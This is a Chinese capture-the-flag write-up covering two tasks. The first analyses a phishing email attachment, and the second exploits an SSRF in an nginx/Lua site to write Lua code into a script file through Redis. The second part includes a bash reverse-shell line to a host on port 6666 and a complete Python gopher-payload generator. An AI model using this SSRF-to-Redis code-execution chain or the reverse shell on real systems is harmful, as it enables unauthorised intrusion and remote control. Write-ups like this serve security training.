2025/1/5打了软件安全赛,针对个人来讲难度还是很大的,所以把出的两个题分析一下。
1. 钓鱼邮件分析 邮件解密,它是所有的都用了base编码 解码 有用的只有下面的正文。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 <div class="qmbox"><p style="font-family: -apple-system, BlinkMacSystemFont, "PingFang SC", "Microsoft YaHei", sans-serif; font-size: 10.5pt; color: rgb(46, 48, 51);">今天是你的24岁生日,祝你生日快乐</p><div xmail-signature=""><xm-signature></xm-signature><p></p></div></div> X-QQ-XMRINFO: Mp0Kj//9VHAxr69bL5MkOOs= X-QQ-XMAILINFO: Mi/i+wq2NsJqOjK39baWcJF141jv20ysu7uvjsdVZOQPyBXZKFBBJqrPZCTiKJ d7wdGsfbzivUI9F/OZZvBm1nmIa5oNSrj2hkORK7/+5NZPP0GrlCdUnmiEIUxIB4eEIzPsyVFl5gO Xf6wdCD4iXuYlexjoTN90TNSwJIqMt8ToLR8AETY5sAwIW7kggpoQxoi1jcsS/xEOpLVhrCDSLktm P/95iJcEPLeFb1Bj78s8aljWgWHWNVeyVxoKt/BE9DghasuyQjiOzzl4Lg/UnJM3ALsbAXFJyLW4Q /6PKnwZS/VNwNUVhGKFDPU5aWEFSVufu1p5EVl4J3cth2I7LZ/kT8fYox8teauDeml/1f9jQNoGx0 2mufT0LbYCncO26MxVRZ5Hb+WK1jcHC3HRzOgy+t695gzOa6iVFTinruQrT1EzEU4p7keQ0Z2uat8 Ide9mSRWQ0dg0xrqwYXdd19qcfVuVBbi5KC/tAh4OoTjxYh/JCD2gQD0h3fBstrUhK4UISpinTFtB zw+Rt5PHOk+KZFufpCYPRjwnFJ7bdFLD76shuYRegxAcwpX7EbwLDTOQ1vSQgTivo6K0Y+620ovSp dX/rORvapshvqd41rtXWHd/QAQ3t1A5a/IpO/n1sVJWwSz9Z864P1SJJ3QdgXj3Dz0N6Ch4HujG+M bh6XhF4jJRUdtXCCr+TH3TN8KjUz2XUiBccfDD/HPgaac5KUVt+xlvrYBUivd/4iPOyy9y6a0K8Pg /xm+Hhec+Bo/nfEndClgLY116fdOmD/3T7QCCmmL1pDfSJe9pnht9mVI7ySS4YyIuANf1La/vUDxl kw0beVN9ooCvf9NJGixdVbtdN2RVm+10Qpl1ErR2dyrhMpg8vVzc5ztc/CayChAHmJNpb/MacZSbA 392cIqk05wGYxVuq5ETGzL0o9tlik/quWMrHJnPZeVWY2Zl4JvHDUPJYkldGzXO7h8qmcNev9Pm5z 4nEsdRYqRGJt/nmncvZv3y7Stt7Shn5/LEJ0OLA9hF3uh6y5m9cUa7zoTjMrPVjCdNJVn8ZLFnZT8 VVh/0T/zB40wTE76YUO/wTBs1sg== From: "=?utf-8?B?QWxpY2Nl?=" <Alice@qq.com> To: "=?utf-8?B?Qm9i?=" <Bob@qq.com> Subject: =?utf-8?B?55Sf5pel5b+r5LmQ?= Mime-Version: 1.0 Content-Type: multipart/mixed; boundary="----=_NextPart_67318E01_3D423680_3EAF4BE3" Content-Transfer-Encoding: 8Bit Date: Mon, 11 Nov 2024 12:54:24 +0800 X-Priority: 3 Message-ID: <tencent_5926819C8C20A292B26A361A43C2F84BEA09@qq.com> X-QQ-MIME: TCMime 1.0 by Tencent X-Mailer: QQMail 2.x X-QQ-Mailer: QQMail 2.x X-QQ-mid: xmseza31-0t1731300864t1gxcwyus This is a multi-part message in MIME format. ------=_NextPart_67318E01_3D423680_3EAF4BE3 Content-Type: multipart/alternative; boundary="----=_NextPart_67318E01_3D423680_45B6667D"; ------=_NextPart_67318E01_3D423680_45B6667D Content-Type: text/plain; charset="utf-8" Content-Transfer-Encoding: base64 5LuK5aSp5piv5L2g55qEMjTlsoHnlJ/ml6XvvIznpZ3kvaDnlJ/ml6Xlv6vkuZA= 今天是你的24岁生日,祝你生日快乐 ------=_NextPart_67318E01_3D423680_45B6667D Content-Type: text/html; charset="utf-8" Content-Transfer-Encoding: base64 PGRpdiBjbGFzcz0icW1ib3giPjxwIHN0eWxlPSJmb250LWZhbWlseTogLWFwcGxlLXN5c3Rl bSwgQmxpbmtNYWNTeXN0ZW1Gb250LCAmcXVvdDtQaW5nRmFuZyBTQyZxdW90OywgJnF1b3Q7 TWljcm9zb2Z0IFlhSGVpJnF1b3Q7LCBzYW5zLXNlcmlmOyBmb250LXNpemU6IDEwLjVwdDsg Y29sb3I6IHJnYig0NiwgNDgsIDUxKTsiPuS7iuWkqeaYr+S9oOeahDI05bKB55Sf5pel77yM 56Wd5L2g55Sf5pel5b+r5LmQPC9wPjxkaXYgeG1haWwtc2lnbmF0dXJlPSIiPjx4bS1zaWdu YXR1cmU+PC94bS1zaWduYXR1cmU+PHA+PC9wPjwvZGl2PjwvZGl2Pg== ------=_NextPart_67318E01_3D423680_45B6667D-- ------=_NextPart_67318E01_3D423680_3EAF4BE3 Content-Type: application/octet-stream; charset="utf-8"; name="=?utf-8?B?55Sf5pel56S854mpLnppcA==?=" Content-Disposition: attachment; filename="=?utf-8?B?55Sf5pel56S854mpLnppcA==?=" Content-Transfer-Encoding: base64 ------=_NextPart_67318E01_3D423680_3EAF4BE3--
解码
1 2 3 4 5 6 7 8 9 10 11 12 13 import base64def decodebase (): with open ("mail.txt" ,"r" ) as file: message=file.read() message=message.replace("\n" ,"" ) demessage=base64.b64decode(message) with open ("1.zip" ,"wb" ) as file1: file1.write(demessage) if __name__=="__main__" : decodebase()
拿到zip包解压 密码直接爆破
打开就发现了木马文件沙箱直接分析。
分析到ip 和端口
2. web1 拿到docker,分析出这个利用nginx 和lua进行搭建的web站点。先看nginx配置信息
1 2 3 4 5 6 7 8 9 location / { root html; index index.html; } location /visit { default_type text/plain; content_by_lua_file /usr/local/openresty/nginx/lua/main.lua; }
可以看到两个路由,一个是由index.html处理/ 另外一个是由main.lua处理/visit于是首先分析 index.html
2.1 index.html 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 <!DOCTYPE html > <html lang ="en" > <head > <meta charset ="UTF-8" > <meta name ="viewport" content ="width=device-width, initial-scale=1.0" > <title > URL Visitor</title > </head > <body > <div class ="container" > <h1 > Visit a Website</h1 > <input type ="text" id ="urlInput" placeholder ="Enter a URL" > <button onclick ="visitUrl()" > Visit</button > <iframe id ="urlFrame" src ="" > </iframe > </div > <script > function visitUrl ( ) { var url = document .getElementById ('urlInput' ).value ; var iframe = document .getElementById ('urlFrame' ); <!-- 相当于src 中的url换成了我们的拼接的get传递参数的值--> iframe.src = '/visit?url=' + encodeURIComponent (url); } </script > </body > </html >
因此就可以看出来还是在/visit路由上在做文章,而/visit通过nginx的配置文件可以看出。/visit的路由是由main.lua进行处理的。
2.2 main.lua 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 local function read_file (filename) local file = io .open (filename, "r" ) if not file then print ("Error: Could not open file " .. filename) return nil end local content = file:read ("*a" ) file:close () return content end local function execute_lua_code (script_content) local lua_code = script_content:match ("##LUA_START##(.-)##LUA_END##" ) if lua_code then local chunk, err = load (lua_code) if chunk then local success, result = pcall (chunk) if not success then print ("Error executing Lua code: " , result) end else print ("Error loading Lua code: " , err) end else print ("Error: No valid Lua code block found." ) end end local function main () local filename = "/scripts/visit.script" local script_content = read_file(filename) if script_content then execute_lua_code(script_content) end end main()
可以看出内部主要是执行了 visit.script 这才是核心
2.3 visit.script 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 ##LUA_START## local curl = require ("cURL" )local redis = require ("resty.redis" )ngx.req.read_body() local args = ngx.req.get_uri_args()local url = args.urlif not url then ngx.say("URL parameter is missing!" ) return end local red = redis:new()red:set_timeout(1000 ) local ok, err = red:connect("127.0.0.1" , 6379 )if not ok then ngx.say("Failed to connect to Redis: " , err) return end local res, err = red:get(url)if res and res ~= ngx.null then ngx.say(res) return end local c = curl.easy { url = url, timeout = 5 , connecttimeout = 5 } local response_body = {}c:setopt_writefunction(table .insert , response_body) local ok, err = pcall (c.perform, c)if not ok then ngx.say("Failed to perform request: " , err) c:close () return end c:close () local response_str = table .concat (response_body)local ok, err = red:setex(url, 3600 , response_str)if not ok then ngx.say("Failed to save response in Redis: " , err) return end ngx.say(response_str) ##LUA_END##
2.4 分析 目前已经很明显了,其实就是url请求,很自然就能想到ssrf 然后利用ssrf打redis 。经过了多次尝试发现 无论是ssh ,定时任务都无法成功,自然想到利用木马,但是我们又写不成php马。要写lua马。但是lua的路由已经固定了,我们就去重写main.lua 但是尝试失败,因为在redis写马时候我们会有很多的乱码版本信息。严重影响了lua的解析。
但是我们发现 在main.lua有这样一句话。我们完全可以重写visit.script。然后使用这个match的特征匹配就可以完全解决乱码的问题。使得我们的结果成功解析。
1 local lua_code = script_content:match ("##LUA_START##(.-)##LUA_END##" )
2.5 exp visit.script 重写内容
先测试一下能否正常写入lua代码并且执行。
1 2 3 ##LUA_START## ngx.say("hello" ) ##LUA_END##
可以看出我们已经绕过了这个乱码带来的影响,直接可以包含lua代码并且加载执行。但是目前有个问题,我发现我们的内容长度不可以太长。我始终找不到对应的原因。可能是系统的问题跟打定时任务一样,centos 和ubuntu 不一样。
1 2 3 ##LUA_START## os .execute ("/bin/bash -i >& /dev/tcp/192.168.53.128/6666 0<&" )##LUA_END##
2.6 生成payload 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 import urllib.parseprotocol = "gopher://" ip = "127.0.0.1" port = "6379" shell = """\n\n##LUA_START## os.execute("/bin/bash -i >& /dev/tcp/192.168.53.128/6666 0>&1") ##LUA_END##\n\n""" filename = "visit.script" path = "/scripts" passwd = "" cmd = ["flushall" , "set 1 {}" .format (shell.replace(" " ,"${IFS}" )), "config set dir {}" .format (path), "config set dbfilename {}" .format (filename), "save" , "quit" ] if passwd: cmd.insert(0 ,"AUTH {}" .format (passwd)) payload = protocol + ip + ":" + port + "/_" def redis_format (arr ): CRLF = "\r\n" redis_arr = arr.split(" " ) cmd = "" cmd += "*" + str (len (redis_arr)) for x in redis_arr: cmd += CRLF + "$" + str (len ((x.replace("${IFS}" ," " )))) + CRLF + x.replace("${IFS}" ," " ) cmd += CRLF return cmd if __name__=="__main__" : for x in cmd: payload += urllib.parse.quote(redis_format(x)) import requests res=requests.get("http://192.168.53.128/visit?url=" +urllib.parse.quote(payload)).text print (res)